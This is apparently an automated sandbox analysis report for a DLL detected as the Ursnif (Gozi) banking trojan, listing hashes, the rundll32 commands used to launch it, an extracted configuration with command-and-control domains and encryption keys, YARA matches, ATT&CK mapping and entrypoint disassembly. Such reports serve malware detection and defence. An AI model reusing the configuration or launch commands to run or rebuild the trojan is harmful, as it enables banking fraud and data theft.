Play interactive tour

Edit tour

Analysis Report t6ygT2aU8p.dll

Overview

General Information

Sample Name:	t6ygT2aU8p.dll
Analysis ID:	407674
MD5:	beed23c8b32850c8f45228c22c8b036d
SHA1:	1b002110ca216433834fac4ddcbf5ec32e86f59c
SHA256:	9e28e8d663048328cf77a9c78fb97b5037510d07b737ca0ee10065bb8bab1fd8
Tags:	dllGozi
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains sections with non-standard names

Program does not show much activity (idle)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 3512 cmdline: loaddll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 4316 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 3216 cmdline: rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5348 cmdline: rundll32.exe C:\Users\user\Desktop\t6ygT2aU8p.dll,DllServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA", "c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.a50000.3.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.loaddll32.exe.840000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.710000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.2.rundll32.exe.10000000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.3.loaddll32.exe.2c694a0.0.raw.unpack

Malware Configuration Extractor: Ursnif {"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA", "c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Multi AV Scanner detection for submitted file

Show sources

Source: t6ygT2aU8p.dll	Virustotal: Detection: 63%	Perma Link
Source: t6ygT2aU8p.dll	Metadefender: Detection: 61%	Perma Link
Source: t6ygT2aU8p.dll	ReversingLabs: Detection: 82%

Machine Learning detection for sample

Show sources

Source: t6ygT2aU8p.dll

Joe Sandbox ML: detected

Source: 3.2.rundll32.exe.10000000.4.unpack

Avira: Label: TR/Crypt.XPACK.Gen8

Source: t6ygT2aU8p.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.a50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.710000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.4.unpack, type: UNPACKEDPE

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.a50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.710000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.4.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10002375 NtQueryVirtualMemory,

3_2_10002375

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16	0_2_007D5F16
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5378	0_2_007D5378
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D2A69	0_2_007D2A69
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D1967	0_2_007D1967
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D2566	0_2_007D2566
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5262	0_2_007D5262
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5A25	0_2_007D5A25
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D1B1E	0_2_007D1B1E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D3A14	0_2_007D3A14
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D150C	0_2_007D150C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D43D8	0_2_007D43D8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D27D4	0_2_007D27D4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D1CD0	0_2_007D1CD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D13C5	0_2_007D13C5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D88BA	0_2_007D88BA
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D31B3	0_2_007D31B3
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D92B2	0_2_007D92B2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D2FAF	0_2_007D2FAF
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D3FAB	0_2_007D3FAB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F5F16	2_2_006F5F16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F2A69	2_2_006F2A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F1967	2_2_006F1967
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F2566	2_2_006F2566
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F5262	2_2_006F5262
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F5378	2_2_006F5378
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F5A25	2_2_006F5A25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F150C	2_2_006F150C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F1B1E	2_2_006F1B1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F3A14	2_2_006F3A14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F13C5	2_2_006F13C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F43D8	2_2_006F43D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F27D4	2_2_006F27D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F1CD0	2_2_006F1CD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F2FAF	2_2_006F2FAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F3FAB	2_2_006F3FAB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F88BA	2_2_006F88BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F31B3	2_2_006F31B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F92B2	2_2_006F92B2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A35F16	3_2_00A35F16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A33FAB	3_2_00A33FAB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A32FAF	3_2_00A32FAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A331B3	3_2_00A331B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A392B2	3_2_00A392B2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A388BA	3_2_00A388BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A313C5	3_2_00A313C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A31CD0	3_2_00A31CD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A327D4	3_2_00A327D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A343D8	3_2_00A343D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A35A25	3_2_00A35A25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A3150C	3_2_00A3150C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A33A14	3_2_00A33A14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A31B1E	3_2_00A31B1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A35262	3_2_00A35262
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A31967	3_2_00A31967
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A32566	3_2_00A32566
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A32A69	3_2_00A32A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A35378	3_2_00A35378
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10002154	3_2_10002154

Source: t6ygT2aU8p.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal68.troj.winDLL@7/0@0/0

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\t6ygT2aU8p.dll,DllServer

Source: t6ygT2aU8p.dll	Virustotal: Detection: 63%
Source: t6ygT2aU8p.dll	Metadefender: Detection: 61%
Source: t6ygT2aU8p.dll	ReversingLabs: Detection: 82%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\t6ygT2aU8p.dll,DllServer
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\t6ygT2aU8p.dll,DllServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10001745 LoadLibraryA,GetProcAddress,

3_2_10001745

Source: t6ygT2aU8p.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx	0_2_007D5F7B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D5F94
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_007D5FDD
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_007D604B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_007D6124
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edi	0_2_007D614F
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edx	0_2_007D625E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_007D62B5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_007D6343
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_007D635D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], ebp	0_2_007D6368
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D6385
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edx	0_2_007D63B4
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_007D6483
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_007D64F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	0_2_007D64FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_007D650A
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edi	0_2_007D6567
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edi	0_2_007D65A9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], eax	0_2_007D6610
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D6685
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], ecx	0_2_007D66C2
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D66E8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edi	0_2_007D6781
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push 00000000h; mov dword ptr [esp], edx	0_2_007D67B6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D684C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D6858
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], edx	0_2_007D6926
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	0_2_007D6945
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	0_2_007D6951
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx	0_2_007D69D6

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.a50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.710000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.4.unpack, type: UNPACKEDPE

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 700

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10001745 LoadLibraryA,GetProcAddress,

3_2_10001745

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007D2A69 xor edi, dword ptr fs:[00000030h]	0_2_007D2A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_006F2A69 xor edi, dword ptr fs:[00000030h]	2_2_006F2A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00A32A69 xor edi, dword ptr fs:[00000030h]	3_2_00A32A69

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1

Jump to behavior

Source: rundll32.exe, 00000003.00000002.475289401.00000000030B0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000003.00000002.475289401.00000000030B0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000003.00000002.475289401.00000000030B0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000003.00000002.475289401.00000000030B0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_1000163F SetThreadPriority,GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

3_2_1000163F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

3_2_10001850

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.a50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.710000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.4.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.a50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.840000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.710000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.4.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection12	Rundll321	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	System Information Discovery3	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
t6ygT2aU8p.dll	64%	Virustotal		Browse
t6ygT2aU8p.dll	62%	Metadefender		Browse
t6ygT2aU8p.dll	83%	ReversingLabs	Win32.Trojan.Phonzy
t6ygT2aU8p.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.rundll32.exe.10000000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	407674
Start date:	08.05.2021
Start time:	03:53:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	t6ygT2aU8p.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.troj.winDLL@7/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 71.1% (good quality ratio 64.1%) Quality average: 69.4% Quality standard deviation: 32.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 23
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll

Simulations

Behavior and APIs

Time	Type	Description
03:55:59	API Interceptor	2x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.025104846657504
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	t6ygT2aU8p.dll
File size:	121181
MD5:	beed23c8b32850c8f45228c22c8b036d
SHA1:	1b002110ca216433834fac4ddcbf5ec32e86f59c
SHA256:	9e28e8d663048328cf77a9c78fb97b5037510d07b737ca0ee10065bb8bab1fd8
SHA512:	16a62f45b7cc5d048080e2c9ea9cc43c0429bd090b4e8e3afcb9aa4ab747a1dfba8f7eeaaedbfe03b0e12ff15e497d63a0becd98eccce4c8a389cd06e952ec2c
SSDEEP:	1536:tm15JsYYm3GCVS7ZicTJzRVd620ZmB9RMli0msUdqZEACW4jySTLW:eLsacThRVd6pmBPM07vYZEA4/W
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!................ko.............................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006f6b
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3f728412058b62c418b1091768b74d7b

Entrypoint Preview

Instruction
push ebx
push esi
and dword ptr [esp], 00000000h
or dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esp
mov dword ptr [esp], FFFF0000h
call 00007FDA10DB99D1h
push eax
add dword ptr [esp], 00000247h
sub dword ptr [esp], eax
push esi
mov dword ptr [esp], 00001567h
call 00007FDA10DB8947h
push eax
or dword ptr [esp], eax
pop eax
jne 00007FDA10DBDC4Bh
pushad
push 00000000h
mov dword ptr [esp], esi
xor esi, esi
xor esi, dword ptr [ebx+0041C627h]
mov eax, esi
pop esi
push ebx
add dword ptr [esp], 40h
sub dword ptr [esp], ebx
push ebp
add dword ptr [esp], 00001000h
sub dword ptr [esp], ebp
